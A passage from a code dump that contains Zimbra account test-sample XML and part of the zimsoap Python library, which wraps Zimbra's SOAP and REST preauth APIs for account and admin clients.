n=\"zimbraPrefCalendarApptAllowAtendeeEdit\">TRUE</a>\n <a n=\"zimbraArchiveAccountDateTemplate\">yyyyMMdd</a>\n <a n=\"zimbraInterceptSendHeadersOnly\">FALSE</a>\n <a n=\"zimbraMobilePolicyRequireEncryptionSMIMEAlgorithm\">0</a>\n <a n=\"zimbraPrefReadingPaneEnabled\">TRUE</a>\n <a n=\"zimbraFeatureFlaggingEnabled\">TRUE</a>\n <a n=\"zimbraFeatureContactsDetailedSearchEnabled\">FALSE</a>\n <a n=\"zimbraNotebookMaxRevisions\">0</a>\n <a n=\"zimbraPasswordMaxAge\">0</a>\n <a n=\"zimbraPrefSharedAddrBookAutoCompleteEnabled\">FALSE</a>\n <a n=\"zimbraJunkMessagesIndexingEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinLowerCaseChars\">0</a>\n <a n=\"zimbraMailForwardingAddressMaxLength\">4096</a>\n <a n=\"zimbraMailDumpsterLifetime\">30d</a>\n <a n=\"zimbraPrefAutoAddAddressEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMFlashTitle\">TRUE</a>\n <a n=\"zimbraPrefAppleIcalDelegationEnabled\">FALSE</a>\n <a n=\"zimbraFeatureVoiceEnabled\">FALSE</a>\n <a n=\"zimbraFileExternalShareLifetime\">90d</a>\n <a n=\"zimbraFeatureVoiceChangePinEnabled\">TRUE</a>\n <a n=\"zimbraPrefOutOfOfficeStatusAlertOnLogin\">TRUE</a>\n <a n=\"zimbraFeatureReadReceiptsEnabled\">TRUE</a>\n <a n=\"zimbraSignatureMaxNumEntries\">20</a>\n <a n=\"zimbraPrefAutoSaveDraftInterval\">30s</a>\n <a n=\"zimbraMaxContactsPerPage\">100</a>\n <a n=\"zimbraPrefCalendarReminderFlashTitle\">TRUE</a>\n <a n=\"zimbraFeaturePeopleSearchEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyDeviceEncryptionEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarAlwaysShowMiniCal\">TRUE</a>\n <a n=\"zimbraPrefSearchTreeOpen\">TRUE</a>\n <a n=\"zimbraPrefColorMessagesEnabled\">FALSE</a>\n <a n=\"zimbraContactAutoCompleteMaxResults\">20</a>\n <a n=\"zimbraPrefCalendarReminderMobile\">FALSE</a>\n <a n=\"zimbraInterceptFrom\">Postmaster &lt;postmaster@${ACCOUNT_DOMAIN}&gt;</a>\n <a n=\"zimbraPrefCalendarApptReminderWarningTime\">5</a>\n <a n=\"zimbraIdentityMaxNumEntries\">20</a>\n <a n=\"zimbraMailThreadingAlgorithm\">references</a>\n <a n=\"zimbraFeatureDiscardInFiltersEnabled\">TRUE</a>\n <a n=\"zimbraFeatureNewMailNotificationEnabled\">TRUE</a>\n <a n=\"zimbraPrefContactsPerPage\">25</a>\n <a n=\"zimbraPrefIMInstantNotify\">TRUE</a>\n <a n=\"zimbraFeatureAdminMailEnabled\">TRUE</a>\n <a n=\"zimbraPrefPop3IncludeSpam\">FALSE</a>\n <a n=\"zimbraFeatureMailForwardingInFiltersEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMIdleTimeout\">10</a>\n <a n=\"zimbraMailTrashLifetime\">30d</a>\n <a n=\"zimbraFeatureOptionsEnabled\">TRUE</a>\n <a n=\"zimbraPasswordLocked\">FALSE</a>\n <a n=\"zimbraPop3Enabled\">TRUE</a>\n <a n=\"zimbraId\">6baba381-86b3-48e6-a5bb-88fc29bdbc64</a>\n <a n=\"zimbraMobilePolicyRequireSignedSMIMEMessages\">0</a>\n <a n=\"zimbraContactEmailFields\">email,email2,email3,email4,email5,email6,email7,email8,email9,email10,workEmail1,workEmail2,workEmail3</a>\n <a n=\"zimbraPrefWhenInFoldersEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicyAllowRemoteDesktop\">1</a>\n <a n=\"zimbraWebClientShowOfflineLink\">TRUE</a>\n <a n=\"zimbraFilterSleepInterval\">1ms</a>\n <a n=\"zimbraMailQuota\">10485760</a>\n <a n=\"zimbraPrefPop3DeleteOption\">delete</a>\n <a n=\"zimbraMobilePolicyMaxEmailHTMLBodyTruncationSize\">-1</a>\n <a n=\"zimbraFeatureAdvancedSearchEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowSMIMEEncryptionAlgorithmNegotiation\">2</a>\n <a n=\"zimbraPrefZimletTreeOpen\">FALSE</a>\n <a n=\"zimbraAuthTokenLifetime\">2d</a>\n <a n=\"zimbraPrefComposeInNewWindow\">FALSE</a>\n <a n=\"zimbraPrefCalendarAllowPublishMethodInvite\">FALSE</a>\n <a n=\"zimbraFeatureGalEnabled\">TRUE</a>\n <a n=\"sn\">albacore</a>\n <a n=\"zimbraMobilePolicyRequireSignedSMIMEAlgorithm\">0</a>\n <a n=\"zimbraFeatureInstantNotify\">TRUE</a>\n <a n=\"zimbraMobilePolicyRequireDeviceEncryption\">0</a>\n <a n=\"zimbraMailSignatureMaxLength\">10240</a>\n <a n=\"zimbraDumpsterPurgeEnabled\">TRUE</a>\n <a n=\"zimbraDumpsterEnabled\">FALSE</a>\n <a n=\"zimbraFeatureViewInHtmlEnabled\">FALSE</a>\n <a n=\"zimbraPrefUseKeyboardShortcuts\">TRUE</a>\n <a n=\"zimbraPrefUseRfc2231\">FALSE</a>\n <a n=\"zimbraPrefMailSelectAfterDelete\">next</a>\n <a n=\"zimbraPrefDedupeMessagesSentToSelf\">dedupeNone</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">10m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">1m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">2m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">30m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">5m</a>\n <a n=\"zimbraMailMinPollingInterval\">2m</a>\n <a n=\"zimbraPrefCalendarShowDeclinedMeetings\">TRUE</a>\n <a n=\"zimbraFeatureMAPIConnectorEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarInitialView\">workWeek</a>\n <a n=\"zimbraAttachmentsBlocked\">FALSE</a>\n <a n=\"zimbraPrefUseTimeZoneListInCalendar\">FALSE</a>\n <a n=\"zimbraCalendarResourceDoubleBookingAllowed\">TRUE</a>\n <a n=\"zimbraFeatureIdentitiesEnabled\">TRUE</a>\n <a n=\"zimbraFeatureFreeBusyViewEnabled\">FALSE</a>\n <a n=\"zimbraPrefJunkLifetime\">0</a>\n <a n=\"zimbraPrefExternalSendersType\">ALL</a>\n <a n=\"zimbraPrefForwardReplyPrefixChar\">&gt;</a>\n <a n=\"zimbraExternalAccountLifetimeAfterDisabled\">30d</a>\n <a n=\"zimbraInterceptBody\">Intercepted message for ${ACCOUNT_ADDRESS}.${NEWLINE}Operation=${OPERATION}, folder=${FOLDER_NAME}, folder ID=${FOLDER_ID}.</a>\n <a n=\"zimbraCalendarShowResourceTabs\">TRUE</a>\n <a n=\"zimbraPasswordModifiedTime\">20131104092627Z</a>\n <a n=\"zimbraMobileOutlookSyncEnabled\">TRUE</a>\n <a n=\"zimbraPrefFolderColorEnabled\">TRUE</a>\n <a n=\"zimbraLastLogonTimestamp\">20131113091520Z</a>\n <a n=\"zimbraPrefAdminConsoleWarnOnExit\">TRUE</a>\n <a n=\"zimbraFeatureNewAddrBookEnabled\">TRUE</a>\n <a n=\"displayName\">albacore</a>\n <a n=\"zimbraPasswordMinLength\">6</a>\n <a n=\"zimbraMobilePolicyAllowHTMLEmail\">1</a>\n <a n=\"zimbraPrefCalendarSendInviteDeniedAutoReply\">FALSE</a>\n <a n=\"userPassword\">VALUE-BLOCKED</a>\n <a n=\"zimbraAttachmentsViewInHtmlOnly\">FALSE</a>\n <a n=\"zimbraPrefConvReadingPaneLocation\">bottom</a>\n <a n=\"zimbraPrefItemsPerVirtualPage\">50</a>\n <a n=\"zimbraMailPurgeUseChangeDateForTrash\">TRUE</a>\n <a n=\"zimbraPrefShowSelectionCheckbox\">FALSE</a>\n <a n=\"zimbraPrefSentLifetime\">0</a>\n <a n=\"zimbraFeatureOutOfOfficeReplyEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMobilePolicyEnabled\">TRUE</a>\n <a n=\"zimbraFeatureDistributionListExpandMembersEnabled\">TRUE</a>\n <a n=\"zimbraFeatureBriefcasesEnabled\">FALSE</a>\n <a n=\"zimbraPrefGalAutoCompleteEnabled\">TRUE</a>\n <a n=\"zimbraPrefSentMailFolder\">sent</a>\n <a n=\"zimbraPrefSpellIgnoreAllCaps\">TRUE</a>\n <a n=\"zimbraPrefAdvancedClientEnforceMinDisplay\">TRUE</a>\n <a n=\"zimbraMobilePolicyDevicePasswordEnabled\">TRUE</a>\n <a n=\"zimbraMailMessageLifetime\">0</a>\n <a n=\"zimbraFeatureInitialSearchPreferenceEnabled\">TRUE</a>\n <a n=\"zimbraFeatureAntispamEnabled\">TRUE</a>\n <a n=\"zimbraInterceptSubject\">Intercepted message for ${ACCOUNT_ADDRESS}: ${MESSAGE_SUBJECT}</a>\n <a n=\"zimbraPrefIMLogChats\">TRUE</a>\n <a n=\"zimbraPrefCalendarAutoAddInvites\">TRUE</a>\n <a n=\"zimbraPrefInboxReadLifetime\">0</a>\n <a n=\"zimbraPrefShowSearchString\">FALSE</a>\n <a n=\"zimbraNotebookSanitizeHtml\">TRUE</a>\n <a n=\"zimbraFeatureCrocodocEnabled\">FALSE</a>\n <a n=\"zimbraFeatureIMEnabled\">FALSE</a>\n <a n=\"zimbraPrefForwardReplyInOriginalFormat\">TRUE</a>\n <a n=\"zimbraPrefDefaultPrintFontSize\">12pt</a>\n <a n=\"zimbraArchiveAccountNameTemplate\">${USER}-${DATE}@${DOMAIN}.archive</a>\n <a n=\"zimbraFeatureSignaturesEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinNumericChars\">0</a>\n <a n=\"zimbraPrefReplyToEnabled\">FALSE</a>\n <a n=\"zimbraFeatureCalendarEnabled\">TRUE</a>\n <a n=\"zimbraPrefClientType\">advanced</a>\n <a n=\"zimbraFeatureMailUpsellEnabled\">FALSE</a>\n <a n=\"zimbraMailHighlightObjectsMaxSize\">70</a>\n <a n=\"zimbraPrefMailRequestReadReceipts\">FALSE</a>\n <a n=\"zimbraFileUploadMaxSizePerFile\">2147483648</a>\n <a n=\"zimbraFeatureMobileSyncEnabled\">FALSE</a>\n <a n=\"zimbraPrefInboxUnreadLifetime\">0</a>\n <a n=\"zimbraExternalShareLifetime\">0</a>\n <a n=\"zimbraPrefMailSendReadReceipts\">never</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">Facebook</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">LinkedIn</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">SocialCast</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">Twitter</a>\n <a n=\"zimbraMobilePolicyMaxEmailAgeFilter\">2</a>\n <a n=\"zimbraQuotaWarnInterval\">1d</a>\n <a n=\"zimbraPrefAutoCompleteQuickCompletionOnComma\">TRUE</a>\n <a n=\"uid\">albacore</a>\n <a n=\"zimbraMobilePolicyAllowUnsignedInstallationPackages\">1</a>\n <a n=\"zimbraFeatureExportFolderEnabled\">TRUE</a>\n <a n=\"zimbraDataSourceRssPollingInterval\">12h</a>\n <a n=\"zimbraCalendarMaxRevisions\">1</a>\n <a n=\"zimbraPrefHtmlEditorDefaultFontSize\">12pt</a>\n <a n=\"zimbraMobilePolicyAllowDesktopSync\">1</a>\n <a n=\"zimbraFeatureCalendarReminderDeviceEmailEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarAllowForwardedInvite\">TRUE</a>\n <a n=\"zimbraFeatureBriefcaseDocsEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMaxLength\">64</a>\n <a n=\"zimbraMobilePolicyAllowTextMessaging\">1</a>\n <a n=\"zimbraFilterBatchSize\">10000</a>\n <a n=\"zimbraMobilePolicyMaxDevicePasswordFailedAttempts\">4</a>\n <a n=\"zimbraPrefIncludeSpamInSearch\">FALSE</a>\n <a n=\"zimbraFeatureChangePasswordEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMailEnabled\">TRUE</a>\n <a n=\"zimbraPrefMailItemsPerPage\">25</a>\n <a n=\"zimbraPrefReplyIncludeOriginalText\">includeBody</a>\n <a n=\"zimbraFeatureSMIMEEnabled\">FALSE</a>\n <a n=\"zimbraFeatureContactsUpsellEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicyMaxEmailBodyTruncationSize\">-1</a>\n <a n=\"zimbraPrefCalendarFirstDayOfWeek\">0</a>\n <a n=\"zimbraPrefMailInitialSearch\">in:inbox</a>\n <a n=\"zimbraPortalName\">example</a>\n <a n=\"zimbraFreebusyExchangeCachedInterval\">60d</a>\n <a n=\"zimbraPrefCalendarAllowCancelEmailToSelf\">FALSE</a>\n <a n=\"zimbraFeatureImportExportFolderEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarReminderSoundsEnabled\">TRUE</a>\n <a n=\"zimbraPrefTrashLifetime\">0</a>\n <a n=\"zimbraMobilePolicyAllowSimpleDevicePassword\">FALSE</a>\n <a n=\"zimbraPrefCalendarDayHourEnd\">18</a>\n <a n=\"zimbraArchiveEnabled\">FALSE</a>\n <a n=\"zimbraFeatureOpenMailInNewWindowEnabled\">TRUE</a>\n <a n=\"zimbraZimletLoadSynchronously\">FALSE</a>\n <a n=\"zimbraPublicSharingEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMSoundsEnabled\">TRUE</a>\n <a n=\"zimbraFeatureBriefcaseSpreadsheetEnabled\">FALSE</a>\n <a n=\"zimbraPrefMandatorySpellCheckEnabled\">FALSE</a>\n <a n=\"zimbraPrefIMIdleStatus\">away</a>\n <a n=\"zimbraDataSourceMinPollingInterval\">1m</a>\n <a n=\"zimbraPrefIMAutoLogin\">FALSE</a>\n <a n=\"zimbraPrefFileSharingApplication\">briefcase</a>\n <a n=\"zimbraMaxMailItemsPerPage\">100</a>\n <a n=\"zimbraFeatureManageZimlets\">TRUE</a>\n <a n=\"zimbraPasswordLockoutEnabled\">FALSE</a>\n <a n=\"zimbraPrefSortOrder\">BDLV:,CAL:,CLV:,CLV-main:dateDesc,CNS:,CNSRC:,CNTGT:,CV:,TKL:,TV:</a>\n <a n=\"zimbraPrefFromAddress\"><EMAIL></a>\n <a n=\"zimbraPrefCalendarToasterEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarApptVisibility\">public</a>\n <a n=\"zimbraPrefCalendarUseQuickAdd\">TRUE</a>\n <a n=\"zimbraFeatureComposeInNewWindowEnabled\">TRUE</a>\n </account>\n\"\"\"\n", "id": "8235105", "language": "Python", "matching_score": 5.981251239776611, "max_stars_count": 11, "path": "tests/samples.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\"\"\" Zimbra SOAP client pythonic abstraction\n\ncore classes for SOAP clients, there are also REST clients here, but used only\nfor pre-authentification.\n\"\"\"\n\nimport datetime\ntry:\n from urllib2 import HTTPCookieProcessor, build_opener, HTTPError\nexcept ImportError:\n from urllib.request import HTTPCookieProcessor, build_opener, HTTPError\nimport time\nimport re\nimport warnings\n\nfrom six.moves import http_cookiejar, urllib\nfrom six import text_type, binary_type\nimport pythonzimbra\nimport pythonzimbra.tools.auth\nfrom pythonzimbra.communication import Communication\n\nfrom zimsoap import utils\nfrom zimsoap import zobjects\n\n\nclass RESTClient:\n \"\"\" Abstract Classe, RESTClient defines a REST client for some operations we\n can't do with SOAP API, such as admin preauth.\n \"\"\"\n class NoPreauthKeyProvided(Exception):\n pass\n\n class RESTBackendError(Exception):\n def __init__(self, e):\n self.parent = e\n self.msg = 'Zimbra issued HTTP error : '+e.msg\n Exception.__init__(self, self.msg)\n\n def __init__(self, server_host, server_port=None, preauth_key=None):\n if server_port:\n self.preauth_url = 'https://{0}:{1}/service/preauth?'.format(\n server_host, server_port)\n else:\n self.preauth_url = 'https://{0}/service/preauth?'.format(\n server_host)\n\n self.set_preauth_key(preauth_key)\n\n def set_preauth_key(self, preauth_key):\n self.preauth_key = preauth_key\n\n def get_preauth_token(self, account_name, expires=0):\n if not self.preauth_key:\n raise self.NoPreauthKeyProvided\n\n ts = int(time.time())*1000\n\n preauth_str = utils.build_preauth_str(self.preauth_key, account_name,\n ts, expires, admin=self.isadmin)\n\n args = urllib.parse.urlencode({\n 'account': account_name,\n 'by': 'name',\n 'timestamp': ts,\n 'expires': expires*1000,\n 'admin': \"1\" if self.isadmin else \"0\",\n 'preauth': preauth_str\n })\n\n cj = http_cookiejar.CookieJar()\n browser = build_opener(HTTPCookieProcessor(cj))\n\n try:\n url = browser.open(self.preauth_url+args)\n url.read()\n value = \"\"\n for cookie in cj:\n if cookie.name == self.TOKEN_COOKIE:\n value = cookie.value\n url.close()\n browser.close()\n return value\n except HTTPError as e:\n raise self.RESTBackendError(e)\n\n\nclass AdminRESTClient(RESTClient):\n TOKEN_COOKIE = 'ZM_ADMIN_AUTH_TOKEN'\n\n def __init__(self, server_host, server_port=7071, preauth_key=None):\n self.isadmin = True\n RESTClient.__init__(self, server_host, server_port, preauth_key)\n\n\nclass AccountRESTClient(RESTClient):\n TOKEN_COOKIE = 'ZM_AUTH_TOKEN'\n\n def __init__(self, *args, **kwargs):\n self.isadmin = False\n RESTClient.__init__(self, *args, **kwargs)\n\n\nclass MailRESTClient(RESTClient):\n TOKEN_COOKIE = 'ZM_MAIL_AUTH_TOKEN'\n\n def __init__(self, *args, **kwargs):\n self.isadmin = False\n RESTClient.__init__(self, *args, **kwargs)\n\n\nclass ZimSOAPException(Exception):\n pass\n\n\nclass ShouldAuthenticateFirst(ZimSOAPException):\n \"\"\" Error fired when an operation requiring auth is intented before the auth\n is done.\n \"\"\"\n pass\n\n\nclass DomainHasNoPreAuthKey(ZimSOAPException):\n \"\"\" Error fired when the server has no preauth key\n \"\"\"\n def __init__(self, domain):\n # Call the base class constructor with the parameters it needs\n self.msg = '\"{0}\" has no preauth key, make one first, see {1}'.format(\n domain.name,\n 'http://wiki.zimbra.com/wiki/Preauth'\n '#Preparing_a_domain_for_preauth'\n )\n Exception.__init__(self)\n\n\nclass ZimbraSoapServerError(ZimSOAPException):\n r_soap_text = re.compile(r'<soap:Text>(.*)</soap:Text>')\n\n def __init__(self, request, response):\n self.request = request\n self.response = response\n\n fault = response.get_response()['Fault']\n self.msg = fault['Reason']['Text']\n self.code = fault['Detail']['Error']['Code']\n self.trace_url = fault['Detail']['Error']['Trace']\n\n def __str__(self):\n return '{0}: {1}'.format(\n self.code, self.msg)\n\n\nclass ZimbraSoapUnexpectedResponse(ZimSOAPException):\n def __init__(self, request, response, msg=''):\n self.request = request\n self.response = response\n self.msg = msg\n\n def __str__(self):\n if self.msg:\n return self.msg\n else:\n return 'Unexpected Response from Zimbra Server'\n\n\nclass ZimbraAbstractClient(object):\n \"\"\" Factorized abstract code for SOAP API access.\n\n Provides common ground for zimbraAdmin and zimbraAccount.\n \"\"\"\n def __init__(self, server_host, server_port, *args, **kwargs):\n loc = 'https://%s:%s/%s' % (server_host, server_port, self.LOCATION)\n self.com = Communication(loc)\n self._server_host = server_host\n self._server_port = server_port\n\n self._session = ZimbraAPISession(self)\n\n def request(self, name, content={}, namespace=None):\n \"\"\" Do a SOAP request and returns the result.\n\n Simple wrapper arround pythonzimbra functions\n :param name: ex: 'Auth' for performing an 'AuthRequest'\n :param content: a dict formatted pythonzimbra-style for request\n :param namespace: (optional), the namespace, if different from the\n client's\n\n :returns: a dict with response\n \"\"\"\n if not namespace:\n namespace = self.NAMESPACE\n\n req_name = name+'Request'\n resp_name = name+'Response'\n req = pythonzimbra.request_xml.RequestXml()\n resp = pythonzimbra.response_xml.ResponseXml()\n\n if self._session.is_logged_in():\n req.set_auth_token(self._session.authToken)\n\n req.add_request(req_name, content, namespace)\n try:\n self.com.send_request(req, resp)\n except HTTPError as e:\n if resp:\n raise ZimbraSoapServerError(e.req, e.resp)\n else:\n raise\n\n try:\n resp_content = resp.get_response()\n return resp_content[resp_name]\n except KeyError:\n if 'Fault' in resp_content:\n raise ZimbraSoapServerError(req, resp)\n raise ZimbraSoapUnexpectedResponse(\n req, resp, 'Cannot find {} in response \"{}\"'.format(\n resp_name, resp.get_response()))\n\n return resp_content\n\n def request_single(self, name, content={}):\n \"\"\" Simple wrapper arround request to extract a single response\n\n :returns: the first tag in the response body\n \"\"\"\n resp = self.request(name, content)\n\n # We stop on the first non-attribute (attributes are unicode/str)\n # If it's a list, we only return the first one.\n\n for i in resp.values():\n if type(i) == list:\n return i[0]\n elif type(i) == dict:\n return i\n\n return None\n\n def request_list(self, name, content={}):\n \"\"\" Simple wrapper arround request to extract a list of response\n\n :returns: the list of tags with same name or empty list\n \"\"\"\n resp = self.request(name, content)\n\n # We stop on the first non-attribute (attributes are unicode/str)\n # If it's a list, we only return the first one.\n\n for i in resp.values():\n if type(i) == list:\n return i\n elif type(i) == dict:\n return [i]\n\n return []\n\n def login(self, user, password):\n self._session.login(user, password)\n\n def login_with_authToken(self, authToken, lifetime=None):\n self._session.import_session(authToken)\n if lifetime:\n self._session.set_end_date(int(lifetime))\n\n def get_logged_in_by(self, login, parent_zc, duration=0):\n \"\"\"Use another client to get logged in via preauth mechanism by an\n already logged in admin.\n\n It required the domain of the admin user to have preAuthKey\n The preauth key cannot be created by API, do it with zmprov :\n zmprov gdpak <domain>\n \"\"\"\n domain_name = zobjects.Account(name=login).get_domain()\n preauth_key = parent_zc.get_domain(domain_name)['zimbraPreAuthKey']\n\n rc = self.REST_PREAUTH(\n self._server_host, parent_zc._server_port, preauth_key=preauth_key)\n\n authToken = rc.get_preauth_token(login)\n\n self.login_with_authToken(authToken)\n\n def delegated_login(self, login, admin_zc, duration=0):\n \"\"\"Use another client to get logged in via delegated_auth mechanism by an\n already logged in admin.\n\n :param admin_zc: An already logged-in admin client\n :type admin_zc: ZimbraAdminClient\n :param login: the user login (or email) you want to log as\n \"\"\"\n # a duration of zero is interpretted literaly by the API...\n selector = zobjects.Account(name=login).to_selector()\n delegate_args = {'account': selector}\n if duration:\n delegate_args['duration': duration]\n resp = admin_zc.request('DelegateAuth', delegate_args)\n\n lifetime = resp['lifetime']\n authToken = resp['authToken']\n\n self.login_account = login\n self.login_with_authToken(authToken, lifetime)\n\n def is_session_valid(self):\n # some classes may need to overload it\n return self._session.is_session_valid()\n\n def get_host(self):\n return self._server_host\n\n\nclass ZimbraAccountClient(ZimbraAbstractClient):\n \"\"\" Specialized Soap client to access zimbraAccount webservice.\n\n API ref is\n http://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/zimbraAccount/service-summary.html\n \"\"\"\n NAMESPACE = 'urn:zimbraAccount'\n LOCATION = 'service/soap'\n REST_PREAUTH = AccountRESTClient\n\n def __init__(self, server_host, server_port='443', *args, **kwargs):\n super(ZimbraAccountClient, self).__init__(\n server_host, server_port,\n *args, **kwargs)\n\n # Share\n\n def get_share_info(self, grantee_type=None, grantee_id=None,\n grantee_name=None, owner=None, owner_type='name'):\n \"\"\"\n :returns: list of dict representing shares informations\n \"\"\"\n params = {}\n if grantee_type:\n if 'grantee' not in params.keys():\n params['grantee'] = {}\n params['grantee'].update({'type': grantee_type})\n if grantee_id:\n if 'grantee' not in params.keys():\n params['grantee'] = {}\n params['grantee'].update({'id': grantee_id})\n if grantee_name:\n if 'grantee' not in params.keys():\n params['grantee'] = {}\n params['grantee'].update({'name': grantee_name})\n if owner:\n params['owner'] = {'by': owner_type, '_content': owner}\n\n try:\n resp = self.request('GetShareInfo', params)\n # if user never logged in, no mailbox was created\n except ZimbraSoapServerError as e:\n if 'mailbox not found for account' in str(e):\n return []\n else:\n raise e\n if resp and isinstance(resp['share'], list):\n return resp['share']\n elif resp and isinstance(resp['share'], dict):\n return [resp['share']]\n else:\n return []\n\n # Signature\n\n def create_signature(self, name, content, contenttype=\"text/html\"):\n \"\"\"\n :param: name verbose name of the signature\n :param: content content of the signature, in html or plain-text\n :param: contenttype can be \"text/html\" (default) or \"text/plain\"\n :returns: a zobjects.Signature object\n \"\"\"\n s = zobjects.Signature(name=name)\n s.set_content(content, contenttype)\n\n resp = self.request('CreateSignature', {'signature': s.to_creator()})\n return zobjects.Signature.from_dict(resp['signature'])\n\n def get_signatures(self):\n \"\"\" Get all signatures for the current user\n\n :returns: a list of zobjects.Signature\n \"\"\"\n signatures = self.request_list('GetSignatures')\n\n return [zobjects.Signature.from_dict(i) for i in signatures]\n\n def get_signature(self, signature):\n \"\"\"Retrieve one signature, discriminated by name or id.\n\n Note that signature name is not case sensitive.\n\n :param: a zobjects.Signature describing the signature\n like \"Signature(name='my-sig')\"\n\n :returns: a zobjects.Signature object, filled with the signature if no\n signature is matching, returns None.\n \"\"\"\n resp = self.request_list('GetSignatures')\n\n # GetSignature does not allow to filter the results, so we do it by\n # hand...\n if resp and (len(resp) > 0):\n for sig_dict in resp:\n sig = zobjects.Signature.from_dict(sig_dict)\n if hasattr(signature, 'id'):\n its_this_one = (sig.id == signature.id)\n elif hasattr(signature, 'name'):\n its_this_one = (sig.name.upper() == signature.name.upper())\n else:\n raise ValueError('should mention one of id,name')\n if its_this_one:\n return sig\n else:\n return None\n\n def delete_signature(self, signature):\n \"\"\" Delete a signature by name or id\n\n :param: signature a Signature object with name or id defined\n \"\"\"\n self.request('DeleteSignature', {'signature': signature.to_selector()})\n\n def modify_signature(self, signature):\n \"\"\" Modify an existing signature\n\n Can modify the content, contenttype and name. An unset attribute will\n not delete the attribute but leave it untouched.\n :param: signature a zobject.Signature object, with modified\n content/contentype/name, the id should be present and\n valid, the name does not allows to identify the\n signature for that operation.\n \"\"\"\n # if no content is specified, just use a selector (id/name)\n dic = signature.to_creator(for_modify=True)\n\n self.request('ModifySignature', {'signature': dic})\n\n def get_preferences(self):\n \"\"\" Gets all the preferences of the current user\n\n :returns: a dict presenting the preferences by name, values are\n typed to str/bool/int/float regarding their content.\n \"\"\"\n pref_list = self.request('GetPrefs')['pref']\n\n out = {}\n for pref in pref_list:\n out[pref['name']] = utils.auto_type(pref['_content'])\n\n return out\n\n def get_preference(self, pref_name):\n \"\"\" Gets a single named preference\n\n :returns: the value, typed to str/bool/int/float regarding its content.\n \"\"\"\n resp = self.request_single('GetPrefs', {'pref': {'name': pref_name}})\n return utils.auto_type(resp['_content'])\n\n def create_identity(self, name, attrs=[]):\n \"\"\" Create an Identity\n\n :param: name identity name\n :param: attrs list of dict of attributes (zimsoap format)\n :returns: a zobjects.Identity object\n \"\"\"\n params = {\n 'name': name,\n 'a': attrs\n }\n resp = self.request('CreateIdentity', {'identity': params})\n return zobjects.Identity.from_dict(resp['identity'])\n\n def get_identities(self, identity=None, attrs=None):\n \"\"\" Get identities matching name and attrs\n of the user, as a list\n\n :param: zobjects.Identity or identity name (string)\n :param: attrs dict of attributes to return only identities matching\n :returns: list of zobjects.Identity\n \"\"\"\n resp = self.request('GetIdentities')\n\n if 'identity' in resp:\n identities = resp['identity']\n if type(identities) != list:\n identities = [identities]\n\n if identity or attrs:\n wanted_identities = []\n\n for u_identity in [\n zobjects.Identity.from_dict(i) for i in identities]:\n if identity:\n if isinstance(identity, zobjects.Identity):\n if u_identity.name == identity.name:\n return [u_identity]\n else:\n if u_identity.name == identity:\n return [u_identity]\n\n elif attrs:\n for attr, value in attrs.items():\n if (attr in u_identity._a_tags and\n u_identity._a_tags[attr] == value):\n wanted_identities.append(u_identity)\n return wanted_identities\n else:\n return [zobjects.Identity.from_dict(i) for i in identities]\n else:\n return []\n\n def modify_identity(self, identity, **kwargs):\n \"\"\" Modify some attributes of an identity or its name.\n\n :param: identity a zobjects.Identity with `id` set (mandatory). Also\n set items you want to modify/set and/or the `name` attribute to\n rename the identity.\n Can also take the name in string and then attributes to modify\n :returns: zobjects.Identity object\n \"\"\"\n\n if isinstance(identity, zobjects.Identity):\n self.request('ModifyIdentity', {'identity': identity._full_data})\n return self.get_identities(identity=identity.name)[0]\n else:\n attrs = []\n for attr, value in kwargs.items():\n attrs.append({\n 'name': attr,\n '_content': value\n })\n self.request('ModifyIdentity', {\n 'identity': {\n 'name': identity,\n 'a': attrs\n }\n })\n return self.get_identities(identity=identity)[0]\n\n def delete_identity(self, identity):\n \"\"\" Delete an identity from its name or id\n\n :param: a zobjects.Identity object with name or id defined or a string\n of the identity's name\n \"\"\"\n if isinstance(identity, zobjects.Identity):\n self.request(\n 'DeleteIdentity', {'identity': identity.to_selector()})\n else:\n self.request('DeleteIdentity', {'identity': {'name': identity}})\n # Whitelists and Blacklists\n\n def get_white_black_lists(self):\n return self.request('GetWhiteBlackList')\n\n def add_to_blacklist(self, values):\n param = {'blackList': {'addr': []}}\n for value in values:\n param['blackList']['addr'].append({'op': '+', '_content': value})\n\n self.request('ModifyWhiteBlackList', param)\n\n def remove_from_blacklist(self, values):\n param = {'blackList': {'addr': []}}\n for value in values:\n param['blackList']['addr'].append({'op': '-', '_content': value})\n\n self.request('ModifyWhiteBlackList', param)\n\n def add_to_whitelist(self, values):\n param = {'whiteList': {'addr': []}}\n for value in values:\n param['whiteList']['addr'].append({'op': '+', '_content': value})\n\n self.request('ModifyWhiteBlackList', param)\n\n def remove_from_whitelist(self, values):\n param = {'whiteList': {'addr': []}}\n for value in values:\n param['whiteList']['addr'].append({'op': '-', '_content': value})\n\n self.request('ModifyWhiteBlackList', param)\n\n\nclass ZimbraAdminClient(ZimbraAbstractClient):\n \"\"\" Specialized Soap client to access zimbraAdmin webservice, handling auth.\n\n API ref is\n http://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/zimbraAdmin/service-summary.html\n 